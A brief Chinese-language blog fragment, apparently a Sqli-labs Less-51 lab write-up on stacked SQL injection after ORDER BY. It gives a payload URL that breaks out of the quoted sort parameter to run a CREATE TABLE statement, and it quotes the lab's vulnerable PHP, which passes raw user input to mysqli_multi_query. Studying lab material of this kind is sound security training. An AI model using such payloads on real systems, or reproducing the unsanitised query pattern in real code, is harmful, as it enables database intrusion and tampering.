我们此处要进行stacked injection，要注释掉‘,此处给出payload：
http://127.0.0.1/sql/Less-51/?sort=1‘;create table less51 like users--+
创建表less51
Sqli-labs Less-51 order by后的堆叠注入
标签：class use mysqli 图片 from order by inject image pre
Sqli-labs Less-51 order by后的堆叠注入
=$_GET[‘sort‘];
$sql="SELECT * FROM users ORDER BY ‘$id‘";
mysqli_multi_query($con1, $sql);